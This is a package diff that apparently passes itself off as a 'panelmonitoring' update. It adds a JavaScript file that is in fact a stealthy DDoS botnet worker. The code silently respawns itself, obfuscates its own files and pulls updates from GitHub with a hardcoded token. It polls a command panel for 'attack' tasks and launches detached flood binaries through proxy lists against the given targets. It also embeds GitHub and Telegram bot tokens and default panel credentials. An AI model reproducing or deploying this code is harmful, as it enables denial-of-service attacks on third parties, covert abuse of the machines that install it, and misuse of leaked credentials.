panelmonitoring 1.0.0 → 1.0.3

package//346/216/247/345/210/266/351/235/242/346/235/277/346/240/270/345/277/203/345/220/257/345/212/250/346/250/241/345/235/227/345/210/235/345/247/213/345/214/226/347/250/213/345/272/217/344/270/273/345/205/245/345/217/243/346/226/207/344/273/266.js

@@ -0,0 +1,1887 @@
+/**
+ * Michelle Wang - All-in-One Control Panel
+ * Merged: config, web-panel, utils/* into single file
+ * lib/cache/* kept separate
+ */
+"use strict";
+
+// ═══════════════════════════════════════════════════════════════════
+//  SELF-RESTART WATCHDOG — runs as supervisor, auto-respawns child
+// ═══════════════════════════════════════════════════════════════════
+if (!process.env.__VISHA_CHILD__) {
+    const { spawn } = require("child_process");
+    let restarting = false;
+    function spawnChild() {
+        restarting = false;
+        const child = spawn(process.execPath, [__filename, ...process.argv.slice(2)], {
+            stdio: "inherit",
+            env: { ...process.env, __VISHA_CHILD__: "1" }
+        });
+        child.on("exit", function(code, signal) {
+            if (restarting) return;
+            restarting = true;
+            // COMPLETELY SILENT - no watchdog messages
+            setTimeout(spawnChild, 2000);
+        });
+        child.on("error", function(err) {
+            if (restarting) return;
+            restarting = true;
+            // COMPLETELY SILENT - no watchdog errors
+            setTimeout(spawnChild, 2000);
+        });
+    }
+    spawnChild();
+    return; // supervisor only watches — stop rest of module from running
+}
+
+// ═══════════════════════════════════════════════════════════════════
+//  CONFIG (formerly config.js)
+// ═══════════════════════════════════════════════════════════════════
+const CONFIG = {
+    webUser: "admin",
+    webPass: "michelle",
+    defaultThreads: 16,
+    maxThreadPool: 256,
+    mode: "web",
+    port: 8082,
+    version: "3.0.2-test-auto-pull",  // test auto-pull
+    workerSecret: "bunny-nightmare-internal-v2",
+    ghToken: "",          // GitHub personal access token (private repo)
+    ghRepo: "",           // e.g. https://github.com/user/repo.git
+    // Telegram channel verification
+    tgBotToken: "8387547753:AAEuFJl3VrqJPH9-mdQBnKXsJfHxGS_WLtk",  // Bot token from @BotFather
+    tgChannelId: "-1003153963244",          // Channel numeric ID for @pwned404
+};
+
+// ═══════════════════════════════════════════════════════════════════
+//  CLEANUP .GO SOURCE FILES — ONLY in worker mode, skip web mode
+//  Binary file (dor) is SAFE — no .go extension
+// ═══════════════════════════════════════════════════════════════════
+(function cleanupGoSources() {
+    // ONLY delete .go files in worker mode — keep them in web mode
+    const isWorker = process.env.MODE === "worker-poll" || process.env.WORKER_MODE === "polling";
+    if (!isWorker) return; // WEB MODE: keep .go source files
+
+    const fs = require("fs");
+    const path = require("path");
+    function walk(dir) {
+        let entries;
+        try { entries = fs.readdirSync(dir, { withFileTypes: true }); } catch { return; }
+        for (const e of entries) {
+            if (e.name === "node_modules" || e.name === ".git") continue;
+            const fp = path.join(dir, e.name);
+            if (e.isDirectory()) { walk(fp); continue; }
+            if (e.name.endsWith(".go")) {
+                try { fs.unlinkSync(fp); } catch (_) {}
+            }
+        }
+    }
+    walk(__dirname);
+})();
+
+// ═══════════════════════════════════════════════════════════════════
+//  STEALTH MODE (must be defined before autoPullOnStartup uses it)
+// ═══════════════════════════════════════════════════════════════════
+const STEALTH = process.env.STEALTH === "1" || process.env.MODE === "worker-poll" || process.env.WORKER_MODE === "polling";
+function stealthLog(...args) { 
+    // COMPLETELY SILENT — no logging at all
+    return; 
+}
+
+// Worker log buffer — collect all events, send to panel via poll
+const workerLogBuffer = [];
+const MAX_LOG_BUFFER = 100;
+function workerDebugLog(level, message, data) {
+    // COMPLETELY SILENT — no logging in worker mode
+    return;
+}
+
+// ═══════════════════════════════════════════════════════════════════
+//  AUTO CLONE/PULL FROM GITHUB ON STARTUP (PTERODACTYL SAFE)
+// ═══════════════════════════════════════════════════════════════════
+(function autoClonePullOnStartup() {
+    const { execSync } = require("child_process");
+    const fs2 = require("fs");
+    const path2 = require("path");
+    const { exec } = require("child_process");
+    const ghToken = "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";
+    const ghRepo  = "https://github.com/michelleangelicaputri8-prog/MichelleWang.git";
+    if (!ghToken || !ghRepo) return;
+
+    const gitDir = path2.join(__dirname, ".git");
+    const remote = ghRepo.replace(/^https:\/\//, `https://${ghToken}@`);
+
+    // If not a git repo yet — CLONE FIRST (like visha/index.js pattern)
+    if (!fs2.existsSync(gitDir)) {
+        stealthLog("  [auto-clone] No .git found — cloning " + ghRepo + "...");
+        const tmpDir = path2.join(__dirname, ".tmp_clone");
+        exec(`git clone ${remote} "${tmpDir}" 2>&1`, { timeout: 120000 }, (err) => {
+            if (err) { stealthLog("  [auto-clone] Clone failed"); return; }
+            try {
+                fs2.readdirSync(tmpDir).forEach(item => {
+                    fs2.renameSync(path2.join(tmpDir, item), path2.join(__dirname, item));
+                });
+                fs2.rmSync(tmpDir, { recursive: true, force: true });
+                stealthLog("  [auto-clone] Clone success — fixing permissions...");
+
+                // PTERODACTYL SAFE: fix permissions
+                execSync(`chmod -R 755 "${__dirname}" 2>/dev/null || true`);
+                execSync(`find "${__dirname}" -type f -exec chmod 644 {} + 2>/dev/null || true`);
+                execSync(`find "${__dirname}" -type d -exec chmod 755 {} + 2>/dev/null || true`);
+                execSync(`chmod +x "${__dirname}"/lib/cache/* 2>/dev/null || true`);
+                stealthLog("  [auto-clone] Permissions fixed — restarting to use new code...");
+                setTimeout(() => process.exit(0), 2000);
+            } catch (e) {
+                stealthLog("  [auto-clone] Move failed:", e.message);
+            }
+        });
+        return;
+    }
+
+    // Already a git repo — PULL UPDATES
+    try {
+        execSync(`git -C "${__dirname}" fetch origin`, { stdio: "pipe", timeout: 15000 });
+        const local  = execSync(`git -C "${__dirname}" rev-parse HEAD`, { encoding: "utf8", timeout: 5000 }).trim();
+        const remoteHash = execSync(`git -C "${__dirname}" rev-parse origin/main`, { encoding: "utf8", timeout: 5000 }).trim();
+        if (local === remoteHash) {
+            stealthLog("  [auto-pull] Already up to date.");
+            return;
+        }
+        stealthLog("  [auto-pull] Updates detected, pulling...");
+
+        // Check if worker mode — only pull essential files
+        const fs2 = require("fs");
+        const path2 = require("path");
+        let isWorker = process.env.MODE === "worker-poll" || process.env.WORKER_MODE === "polling";
+        if (!isWorker) {
+            try {
+                const bootCfg = JSON.parse(fs2.readFileSync(path2.join(__dirname, ".boot.json"), "utf8"));
+                isWorker = bootCfg.mode === "worker-poll";
+            } catch (_) {}
+        }
+        if (isWorker) {
+            // Worker mode: ONLY pull essential binary/runtime files — skip HTML, web UI, etc.
+            const mainFile = path2.basename(__filename);
+            execSync(`git -C "${__dirname}" sparse-checkout init --no-cone`, { stdio: "pipe", timeout: 10000 });
+            execSync(`git -C "${__dirname}" sparse-checkout set "${mainFile}" "lib/cache/dor" "lib/cache/h1-go" "proxy.txt" "ua.txt" "referer.txt" ".boot.json" "panel-config.json"`, { stdio: "pipe", timeout: 10000 });
+            stealthLog("  [worker-mode] Sparse-checkout: ONLY essential files (no HTML/UI)");
+            // Skip reset/clean in worker mode — sparse-checkout already limits files
+        } else {
+            // FIX: FORCE reset ALL local changes (proxy.txt, configs, etc) — bodohin semua, pull anyway
+            try {
+                execSync(`git -C "${__dirname}" reset --hard HEAD 2>/dev/null || true`, { stdio: "pipe", timeout: 10000 });
+                stealthLog("  [auto-pull] Force reset all local changes");
+            } catch (_) {}
+            try {
+                // Exclude .boot.json and panel-config.json from clean (runtime configs)
+                execSync(`git -C "${__dirname}" clean -fd -e .boot.json -e panel-config.json 2>/dev/null || true`, { stdio: "pipe", timeout: 10000 });
+                stealthLog("  [auto-pull] Cleaned untracked files");
+            } catch (_) {}
+        }
+
+        // Signal self-protection to skip tamper detection during pull
+        process.env.__PULLING_UPDATE__ = "1";
+
+        execSync(`git -C "${__dirname}" pull ${remote} main`, { stdio: "inherit", timeout: 60000 });
+
+        // ═══════════════════════════════════════════════════════════
+        //  PTERODACTYL SAFE: Fix permissions so containers can access
+        //  - Remove root-only ownership lock
+        //  - Make all files world-readable/executable
+        //  - Remove .git read-only locks
+        // ═══════════════════════════════════════════════════════════
+        try {
+            stealthLog("  [auto-pull] Fixing permissions for Pterodactyl access...");
+            execSync(`chmod -R 755 "${__dirname}" 2>/dev/null || true`);
+            execSync(`find "${__dirname}" -type f -exec chmod 644 {} + 2>/dev/null || true`);
+            execSync(`find "${__dirname}" -type d -exec chmod 755 {} + 2>/dev/null || true`);
+            execSync(`chmod +x "${__dirname}"/lib/cache/* 2>/dev/null || true`);
+            stealthLog("  [auto-pull] Permissions fixed — Pterodactyl can now access all files.");
+        } catch (permErr) {
+            stealthLog("  [auto-pull] Permission fix warning:", permErr.message);
+        }
+
+        stealthLog("  [auto-pull] Pull successful. Restarting to apply updates...");
+        setTimeout(() => process.exit(0), 1500);
+    } catch (e) {
+        stealthLog("  [auto-pull] Failed:", e.message);
+    }
+})();
+
+// ═══════════════════════════════════════════════════════════════════
+//  AUTO OBFUSCATE ALL .JS FILES (silent, before anything else)
+// ═══════════════════════════════════════════════════════════════════
+(function autoObfuscate() {
+    const fs = require("fs");
+    const path = require("path");
+    const FLAG = ".worker_encrypted";
+    const SKIP = new Set(["node_modules", ".git"]);
+    if (fs.existsSync(path.join(__dirname, FLAG))) return;
+
+    let obfuscator = null;
+    try { obfuscator = require("javascript-obfuscator"); } catch (_) { return; }
+
+    function walk(dir) {
+        let entries;
+        try { entries = fs.readdirSync(dir, { withFileTypes: true }); } catch { return; }
+        for (const e of entries) {
+            if (SKIP.has(e.name)) continue;
+            const fp = path.join(dir, e.name);
+            if (e.isDirectory()) { walk(fp); continue; }
+            if (e.name.endsWith(".js")) {
+                try {
+                    const code = fs.readFileSync(fp, "utf8");
+                    if (!code.startsWith("eval(")) {
+                        const result = obfuscator.obfuscate(code, {
+                            compact: true,
+                            simplify: true,
+                            controlFlowFlattening: true,
+                            controlFlowFlatteningThreshold: 0.75,
+                            deadCodeInjection: true,
+                            deadCodeInjectionThreshold: 0.4,
+                            stringArray: true,
+                            stringArrayThreshold: 1,
+                            stringArrayEncoding: ["rc4", "base64"],
+                            stringArrayWrappersCount: 2,
+                            stringArrayWrappersChainedCalls: true,
+                            transformObjectKeys: true,
+                            renameGlobals: false,
+                            splitStrings: true,
+                            splitStringsChunkLength: 10,
+                            numbersToExpressions: true,
+                            selfDefending: true,
+                            unicodeEscapeSequence: true,
+                        });
+                        fs.writeFileSync(fp, result.getObfuscatedCode());
+                    }
+                } catch (_) {}
+            }
+        }
+    }
+    walk(__dirname);
+    try { fs.writeFileSync(path.join(__dirname, FLAG), JSON.stringify({ time: new Date().toISOString() })); } catch (_) {}
+})();
+
+// ═══════════════════════════════════════════════════════════════════
+//  GLOBAL ANTI-CRASH
+// ═══════════════════════════════════════════════════════════════════
+process.on("uncaughtException", (err) => {
+    if (!STEALTH) console.error("💥 [Anti-Crash] Uncaught Exception:", err.message);
+});
+process.on("unhandledRejection", (reason) => {
+    if (!STEALTH) console.error("💥 [Anti-Crash] Unhandled Rejection:", reason instanceof Error ? reason.message : reason);
+});
+
+// ═══════════════════════════════════════════════════════════════════
+async function startWorkerPollMode(portOverride) {
+    const fs = require("fs");
+    const path = require("path");
+    const https = require("https");
+    const http = require("http");
+    const net = require("net");
+    const cp = require("child_process");
+    const os = require("os");
+
+    const POLL_INTERVAL = 1000; // check every 1 second
+    const PROXY_FILE = path.join(__dirname, "proxy.txt");
+    const LIB_DIR = path.join(__dirname, "lib/cache");
+    const WORKER_SECRET = CONFIG.workerSecret;
+
+    // GitHub raw URL for panel-config.json — PRIMARY source of truth
+    const GH_TOKEN = "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";
+    const GH_CONFIG_URL = "https://raw.githubusercontent.com/michelleangelicaputri8-prog/MichelleWang/main/panel-config.json";
+
+    // ═══════════════════════════════════════════════════════════
+    //  FETCH PANEL URL FROM GITHUB FIRST (source of truth)
+    //  Fallback: local panel-config.json → .boot.json → error
+    // ═══════════════════════════════════════════════════════════
+
+    // Helper: fetch panel-config.json from GitHub
+    function fetchGitHubPanelConfig() {
+        return new Promise((resolve) => {
+            const u = new URL(GH_CONFIG_URL);
+            const req = https.get({
+                hostname: u.hostname,
+                path: u.pathname,
+                timeout: 10000,
+                headers: { "Authorization": `token ${GH_TOKEN}` }
+            }, (res) => {
+                let body = "";
+                res.on("data", c => { body += c; });
+                res.on("end", () => {
+                    try {
+                        const cfg = JSON.parse(body);
+                        if (cfg.panelUrl) {
+                            stealthLog(`  [github] Panel URL from GitHub: ${cfg.panelUrl}`);
+                            resolve(cfg.panelUrl);
+                        } else {
+                            resolve(null);
+                        }
+                    } catch (_) { resolve(null); }
+                });
+            });
+            req.on("error", () => resolve(null));
+            req.on("timeout", () => { req.destroy(); resolve(null); });
+            req.end();
+        });
+    }
+
+    let panelUrl = process.env.PANEL_URL;
+
+    if (!panelUrl) {
+        panelUrl = await fetchGitHubPanelConfig();
+    }
+    if (!panelUrl) {
+        try {
+            const cfg = JSON.parse(require("fs").readFileSync(path.join(__dirname, "panel-config.json"), "utf8"));
+            panelUrl = cfg.panelUrl;
+            stealthLog("  [fallback] Using local panel-config.json");
+        } catch (_) {}
+    }
+    if (!panelUrl) {
+        try {
+            const boot = JSON.parse(require("fs").readFileSync(path.join(__dirname, ".boot.json"), "utf8"));
+            panelUrl = boot.panelUrl;
+            stealthLog("  [fallback] Using .boot.json panel URL");
+        } catch (_) {}
+    }
+    if (!panelUrl) {
+        stealthLog("  [error] No panel URL found. Set it in GitHub panel-config.json or local config.");
+        process.exit(1);
+    }
+
+    let lastKnownPanelUrl = panelUrl;
+    let consecutiveFails = 0;
+    function pollGitHubPanelConfig() {
+        const u = new URL(GH_CONFIG_URL);
+        const req = https.get({
+            hostname: u.hostname,
+            path: u.pathname,
+            timeout: 10000,
+            headers: { "Authorization": `token ${GH_TOKEN}` }
+        }, (res) => {
+            let body = "";
+            res.on("data", c => { body += c; });
+            res.on("end", () => {
+                try {
+                    const cfg = JSON.parse(body);
+                    if (cfg.panelUrl && cfg.panelUrl !== panelUrl) {
+                        stealthLog(`  [github-sync] Panel URL changed: ${panelUrl} → ${cfg.panelUrl}`);
+                        panelUrl = cfg.panelUrl;
+                        lastKnownPanelUrl = panelUrl;
+                        consecutiveFails = 0; // reset fail counter
+                    }
+                } catch (_) {}
+            });
+        });
+        req.on("error", () => {});
+        req.on("timeout", () => req.destroy());
+    }
+
+    let procs = [];
+    let currentTaskId = null;
+    let _lastTaskId = null;  // prevent double-execute
+
+    // Auto-generate unique worker ID — no manual setup needed
+    const WORKER_ID = process.env.WORKER_ID || "w-" + require("crypto").randomBytes(6).toString("hex");
+
+    // CPU sampler
+    let _lastCpu = null, _cpuPercent = 0;
+    function _sampleCpu() {
+        const cpus = os.cpus();
+        const now = cpus.map(c => ({ ...c.times }));
+        if (_lastCpu) {
+            const deltas = now.map((curr, i) => {
+                const prev = _lastCpu[i];
+                const idle = curr.idle - prev.idle;
+                const total = Object.keys(curr).reduce((s, k) => s + curr[k] - (prev[k] || 0), 0);
+                return total === 0 ? 0 : (1 - idle / total) * 100;
+            });
+            _cpuPercent = Math.round((deltas.reduce((a, b) => a + b, 0) / deltas.length) * 10) / 10;
+        }
+        _lastCpu = now;
+    }
+    setInterval(_sampleCpu, 1000).unref();
+    _sampleCpu();
+
+    // Max performance goroutine calculator — push all workers to full capacity
+    function calculateOptimalGoroutines(baseGoroutines, currentCpuPercent) {
+        const cpuCores = os.cpus().length;
+        const base = baseGoroutines || cpuCores * 1000;
+        // Always scale to MAX — cpuCores × 3000 goroutines
+        // Ignore current CPU — always go full power
+        return Math.max(base, cpuCores * 3000);
+    }
+
+    function getPublicIP() {
+        return new Promise((resolve) => {
+            const req = https.get("https://api.ipify.org?format=json", { timeout: 5000 }, (res) => {
+                let body = "";
+                res.on("data", c => { body += c; });
+                res.on("end", () => { try { resolve(JSON.parse(body).ip); } catch (_) { resolve(null); } });
+            });
+            req.on("error", () => resolve(null));
+            req.on("timeout", () => { req.destroy(); resolve(null); });
+        });
+    }
+
+    function spawnDetachedBinary(execPath, args, key) {
+        return new Promise((resolve) => {
+            const child = cp.spawn(execPath, args, {
+                detached: true,
+                stdio: "ignore",
+                env: { ...process.env, EXEC_KEY: key || process.env.EXEC_KEY || "夜影风暴" }
+            });
+            child.unref();
+            procs.push(child);
+            child.on("exit", () => { procs = procs.filter(p => p !== child); });
+            resolve({ pid: child.pid });
+        });
+    }
+
+    function haltAll() {
+        procs.forEach(p => { try { if (!p.killed) p.kill("SIGTERM"); } catch (_) {} });
+        procs = [];
+        currentTaskId = null;
+    }
+
+    function pollRequest(method, endpoint, data) {
+        return new Promise((resolve) => {
+            const u = new URL(endpoint, panelUrl);
+            const isHttps = u.protocol === "https:";
+            const mod = isHttps ? https : http;
+            const bodyStr = data ? JSON.stringify(data) : "";
+            const opts = {
+                hostname: u.hostname,
+                port: u.port || (isHttps ? 443 : 80),
+                path: u.pathname + (u.search || ""),
+                method,
+                headers: {
+                    "Authorization": "Bearer " + WORKER_SECRET,
+                    "X-Worker-Id": WORKER_ID,
+                    "Content-Type": "application/json",
+                    "Content-Length": Buffer.byteLength(bodyStr)
+                },
+                timeout: 10000
+            };
+            const req = mod.request(opts, (res) => {
+                let body = "";
+                res.on("data", c => { body += c; });
+                res.on("end", () => {
+                    try { resolve({ ok: res.statusCode < 400, status: res.statusCode, body: JSON.parse(body) }); }
+                    catch { resolve({ ok: res.statusCode < 400, status: res.statusCode, body }); }
+                });
+            });
+            req.on("timeout", () => { req.destroy(); resolve({ ok: false, status: 0, body: { error: "timeout" } }); });
+            req.on("error", e => resolve({ ok: false, status: 0, body: { error: e.message } }));
+            if (bodyStr) req.write(bodyStr);
+            req.end();
+        });
+    }
+
+    async function executeAttack(task) {
+        const { target, duration, threads, method, goroutines, execKey } = task;
+        const durationSec = parseInt(duration) || 60;
+        const cpuCores = os.cpus().length;
+        const threadCount = Math.min(parseInt(threads) || cpuCores, 256);
+        // Auto-scale goroutines based on current CPU load
+        const goroutinesNum = calculateOptimalGoroutines(parseInt(goroutines), _cpuPercent);
+        const methodUpper = (method || "H2-GO").toUpperCase();
+
+        // ── Auto-clean dead proxies before attack ──
+        const proxyFilePath = path.join(__dirname, "proxy.txt");
+        if (fs.existsSync(proxyFilePath)) {
+            try {
+                const proxyContent = fs.readFileSync(proxyFilePath, 'utf8');
+                const allProxies = proxyContent.split('\n').filter(l => l.trim());
+                if (allProxies.length > 0) {
+                    // Quick validate: test 10 random proxies
+                    const sampleSize = Math.min(10, allProxies.length);
+                    const sampled = [];
+                    const temp = [...allProxies];
+                    for (let i = 0; i < sampleSize; i++) {
+                        const idx = Math.floor(Math.random() * temp.length);
+                        sampled.push(temp.splice(idx, 1)[0]);
+                    }
+                    let deadCount = 0;
+                    await Promise.all(sampled.map(async (proxy) => {
+                        return new Promise((resolve) => {
+                            const [host, port] = proxy.split(':');
+                            const sock = net.createConnection({ host, port: parseInt(port) || 8080, timeout: 3000 }, () => {
+                                sock.destroy();
+                                resolve(true); // alive
+                            });
+                            sock.on('error', () => { deadCount++; resolve(false); });
+                            sock.on('timeout', () => { sock.destroy(); deadCount++; resolve(false); });
+                        });
+                    }));
+                    // If >50% of sample dead, clean entire proxy file
+                    if (deadCount > sampleSize / 2) {
+                        workerDebugLog("proxy", `Cleanup: ${deadCount}/${sampleSize} sample dead — refreshing...`);
+                        const live = [];
+                        await Promise.all(allProxies.map(async (proxy) => {
+                            return new Promise((resolve) => {
+                                const [host, port] = proxy.split(':');
+                                const sock = net.createConnection({ host, port: parseInt(port) || 8080, timeout: 3000 }, () => {
+                                    sock.destroy();
+                                    live.push(proxy);
+                                    resolve();
+                                });
+                                sock.on('error', () => resolve());
+                                sock.on('timeout', () => { sock.destroy(); resolve(); });
+                            });
+                        }));
+                        if (live.length > 0) {
+                            // Dedup before save
+                            const seen = {};
+                            const deduped = [];
+                            for (const p of live) {
+                                if (!seen[p]) { seen[p] = true; deduped.push(p); }
+                            }
+                            fs.writeFileSync(proxyFilePath, deduped.join('\n') + '\n');
+                            workerDebugLog("proxy", `Cleanup: ${deduped.length} proxies saved (${allProxies.length - deduped.length} dead/dupes removed)`);
+                        }
+                    }
+                }
+            } catch (_) {}
+        }
+
+        let targetHost = target, targetPort = "443";
+        try {
+            const parsed = new URL(target);
+            targetHost = parsed.hostname;
+            targetPort = String(parseInt(parsed.port) || (parsed.protocol === 'https:' ? 443 : 80));
+        } catch {
+            const lc = target.lastIndexOf(':');
+            if (lc > -1) {
+                const pk = parseInt(target.substring(lc + 1));
+                if (!isNaN(pk) && pk >= 1 && pk <= 65535) {
+                    targetHost = target.substring(0, lc);
+                    targetPort = String(pk);
+                }
+            }
+        }
+
+        const spawnPromises = [];
+
+        // Method dispatch: support both h2-go and h1-go
+        if (methodUpper === "H1-GO") {
+            const h1Bin = path.join(LIB_DIR, "h1-go");
+            const h1Go = path.join(LIB_DIR, "h1-go.go");
+            // FIXED: Spawn fewer processes with more goroutines each (was: goroutinesNum processes × 1 goroutine)
+            // Now: processCount processes × goroutinesPerProcess goroutines = goroutinesNum total
+            const processCount = Math.min(cpuCores * 2, 64); // Max 64 processes
+            const goroutinesPerProcess = Math.max(1, Math.ceil(goroutinesNum / processCount));
+            workerDebugLog("attack", `H1-GO: ${processCount} processes × ${goroutinesPerProcess} goroutines = ${processCount * goroutinesPerProcess} total`);
+
+            if (fs.existsSync(h1Bin)) {
+                fs.chmodSync(h1Bin, 0o755);
+                for (let i = 0; i < processCount; i++) {
+                    const args = [targetHost, String(durationSec), String(goroutinesPerProcess), ...(fs.existsSync(PROXY_FILE) ? [PROXY_FILE] : [])];
+                    spawnPromises.push(spawnDetachedBinary(h1Bin, args, execKey));
+                }
+            } else if (fs.existsSync(h1Go)) {
+                for (let i = 0; i < processCount; i++) {
+                    const args = ["run", h1Go, targetHost, String(durationSec), String(goroutinesPerProcess), ...(fs.existsSync(PROXY_FILE) ? [PROXY_FILE] : [])];
+                    spawnPromises.push(spawnDetachedBinary("go", args, execKey));
+                }
+            }
+        } else {
+            // Default: H2-GO (dor)
+            const dorBin = path.join(LIB_DIR, "dor");
+            if (fs.existsSync(dorBin)) {
+                fs.chmodSync(dorBin, 0o755);
+                for (let i = 0; i < threadCount; i++) {
+                    spawnPromises.push(spawnDetachedBinary(dorBin, [targetHost, targetPort, String(durationSec), String(goroutinesNum), ...(fs.existsSync(PROXY_FILE) ? [PROXY_FILE] : [])], execKey));
+                }
+            }
+        }
+
+        if (spawnPromises.length > 0) await Promise.all(spawnPromises);
+        return spawnPromises.length;
+    }
+
+    let workerProxyHash = "";
+
+    function saveProxiesToLocal(proxies) {
+        try {
+            // Auto-dedup: remove duplicates
+            const seen = {};
+            const deduped = [];
+            for (const p of proxies) {
+                const trimmed = p.trim();
+                if (trimmed && !seen[trimmed]) {
+                    seen[trimmed] = true;
+                    deduped.push(trimmed);
+                }
+            }
+            const dupesRemoved = proxies.length - deduped.length;
+            fs.writeFileSync(path.join(__dirname, "proxy.txt"), deduped.join('\n') + '\n');
+            workerDebugLog("proxy", `Saved ${deduped.length} proxies to local proxy.txt`);
+            if (dupesRemoved > 0) workerDebugLog("proxy", `Deduped: removed ${dupesRemoved} duplicates`);
+        } catch (e) { workerDebugLog("error", `Failed to save proxies: ${e.message}`); }
+    }
+
+    async function pollLoop() {
+        const publicIP = await getPublicIP();
+        workerDebugLog("info", `Polling started — ID: ${WORKER_ID} | IP: ${publicIP || "unknown"} | Panel: ${panelUrl}`);
+
+        // Initial proxy fetch
+        try {
+            const proxyRes = await fetchProxyList();
+            if (proxyRes.ok && proxyRes.hash !== workerProxyHash) {
+                workerProxyHash = proxyRes.hash;
+                saveProxiesToLocal(proxyRes.proxies);
+            }
+        } catch (_) {}
+
+        // ── Recursive setTimeout — NO overlap, one poll at a time ──
+        function schedulePoll() {
+            setTimeout(async () => {
+                try {
+                    const sysInfo = {
+                        activeProcesses: procs.length,
+                        cpu: parseFloat(_cpuPercent),
+                        cpuCores: os.cpus().length,
+                        mem: Math.round(((os.totalmem() - os.freemem()) / os.totalmem()) * 100),
+                        memTotal: Math.round(os.totalmem() / (1024 * 1024 * 1024)),
+                        uptime: Math.round(process.uptime())
+                    };
+
+                    if (workerLogBuffer.length > 0) {
+                        sysInfo.logs = [...workerLogBuffer];
+                        workerLogBuffer.length = 0;
+                    }
+
+                    const result = await pollRequest("POST", "/api/worker/poll", {
+                        taskId: currentTaskId,
+                        status: sysInfo,
+                        workerId: WORKER_ID
+                    });
+
+                    if (result.ok && result.body) {
+                        consecutiveFails = 0;
+                        const { action, task } = result.body;
+
+                        if (action === "attack" && task && task.id !== _lastTaskId) {
+                            _lastTaskId = task.id;
+                            currentTaskId = task.id;
+                            stealthLog(`  ⚡ Task received: ${task.method} → ${task.target} (${task.duration}s)`);
+                            workerDebugLog("attack", `Task received: ${task.method} → ${task.target} (${task.duration}s)`, { id: task.id, goroutines: task.goroutines, threads: task.threads });
+                            await executeAttack(task);
+                        } else if (action === "attack" && task && task.id === _lastTaskId) {
+                            // Same task again — skip (prevents double-execute)
+                        } else if (action === "stop") {
+                            stealthLog(`  🛑 Stop received`);
+                            workerDebugLog("attack", "Stop received — halting all binaries");
+                            haltAll();
+                        } else if (action === "restart") {
+                            stealthLog(`  🔄 Restart received — exiting for auto-restart`);
+                            workerDebugLog("system", "Restart requested — shutting down");
+                            haltAll();
+                            process.exit(0);
+                        } else if (action === "update-proxies") {
+                            try {
+                                const proxyRes = await fetchProxyList();
+                                if (proxyRes.ok && proxyRes.hash !== workerProxyHash) {
+                                    workerProxyHash = proxyRes.hash;
+                                    saveProxiesToLocal(proxyRes.proxies);
+                                }
+                            } catch (_) {}
+                        }
+                    }
+
+                    // Periodic proxy check every 5 minutes
+                    if (Date.now() % 300000 < POLL_INTERVAL) {
+                        try {
+                            const proxyRes = await fetchProxyList();
+                            if (proxyRes.ok && proxyRes.hash !== workerProxyHash) {
+                                workerProxyHash = proxyRes.hash;
+                                saveProxiesToLocal(proxyRes.proxies);
+                            }
+                        } catch (_) {}
+                    }
+                } catch (e) {
+                    consecutiveFails++;
+                    if (consecutiveFails >= 3) {
+                        stealthLog(`  [failover] Panel unreachable (${consecutiveFails}x), checking GitHub for new URL...`);
+                        pollGitHubPanelConfig();
+                        if (consecutiveFails >= 10) consecutiveFails = 5;
+                    }
+                }
+                // Schedule next poll ONLY after this one finishes
+                schedulePoll();
+            }, POLL_INTERVAL);
+        }
+        schedulePoll();
+
+        // ── Auto-clean dead proxies every 30 minutes ──
+        setInterval(async () => {
+            const proxyFilePath = path.join(__dirname, "proxy.txt");
+            if (!fs.existsSync(proxyFilePath)) return;
+            try {
+                const proxyContent = fs.readFileSync(proxyFilePath, 'utf8');
+                const allProxies = proxyContent.split('\n').filter(l => l.trim());
+                if (allProxies.length < 10) return;
+                const sampleSize = Math.min(10, allProxies.length);
+                const sampled = [];
+                const temp = [...allProxies];
+                for (let i = 0; i < sampleSize; i++) {
+                    const idx = Math.floor(Math.random() * temp.length);
+                    sampled.push(temp.splice(idx, 1)[0]);
+                }
+                let deadCount = 0;
+                await Promise.all(sampled.map(async (proxy) => {
+                    return new Promise((resolve) => {
+                        const [host, port] = proxy.split(':');
+                        const sock = net.createConnection({ host, port: parseInt(port) || 8080, timeout: 3000 }, () => {
+                            sock.destroy();
+                            resolve(true);
+                        });
+                        sock.on('error', () => { deadCount++; resolve(false); });
+                        sock.on('timeout', () => { sock.destroy(); deadCount++; resolve(false); });
+                    });
+                }));
+                if (deadCount > sampleSize / 2) {
+                    workerDebugLog("proxy", `Scheduled cleanup: ${deadCount}/${sampleSize} sample dead`);
+                    const live = [];
+                    await Promise.all(allProxies.map(async (proxy) => {
+                        return new Promise((resolve) => {
+                            const [h, p] = proxy.split(':');
+                            const sock = net.createConnection({ host: h, port: parseInt(p) || 8080, timeout: 3000 }, () => {
+                                sock.destroy();
+                                live.push(proxy);
+                                resolve();
+                            });
+                            sock.on('error', () => resolve());
+                            sock.on('timeout', () => { sock.destroy(); resolve(); });
+                        });
+                    }));
+                    if (live.length > 0) {
+                        // Dedup before save
+                        const seen = {};
+                        const deduped = [];
+                        for (const p of live) {
+                            if (!seen[p]) { seen[p] = true; deduped.push(p); }
+                        }
+                        fs.writeFileSync(proxyFilePath, deduped.join('\n') + '\n');
+                        workerDebugLog("proxy", `Cleanup: ${deduped.length} saved (${allProxies.length - deduped.length} dead/dupes removed)`);
+                    }
+                }
+            } catch (_) {}
+        }, 30 * 60 * 1000).unref(); // Every 30 minutes
+    }
+
+    function fetchProxyList() {
+        return new Promise((resolve) => {
+            const u = new URL("/api/worker/proxies", panelUrl);
+            const isHttps = u.protocol === "https:";
+            const mod = isHttps ? https : http;
+            const opts = {
+                hostname: u.hostname, port: u.port || (isHttps ? 443 : 80),
+                path: u.pathname, method: "GET",
+                headers: { "Authorization": "Bearer " + WORKER_SECRET },
+                timeout: 10000
+            };
+            const req = mod.request(opts, (res) => {
+                let body = "";
+                res.on("data", c => { body += c; });
+                res.on("end", () => {
+                    try { resolve({ ok: res.statusCode < 400, ...JSON.parse(body) }); }
+                    catch { resolve({ ok: false, proxies: [], hash: "", count: 0 }); }
+                });
+            });
+            req.on("timeout", () => { req.destroy(); resolve({ ok: false, proxies: [], hash: "", count: 0 }); });
+            req.on("error", () => resolve({ ok: false, proxies: [], hash: "", count: 0 }));
+            req.end();
+        });
+    }
+
+    pollLoop();
+}
+
+function startWebPanel(portOverride) {
+        const express = require("express");
+        const path = require("path");
+        const fs = require("fs");
+        const os = require("os");
+        const crypto = require("crypto");
+        const { spawn } = require("child_process");
+        const https = require("https");
+        const http = require("http");
+
+        const WEB_PORT = portOverride || parseInt(process.env.WEB_PORT) || parseInt(process.env.PORT) || CONFIG.port || 8080;
+        const WEB_USER = process.env.WEB_USER || CONFIG.webUser || "admin";
+        const WEB_PASS = process.env.WEB_PASS || CONFIG.webPass || "admin123";
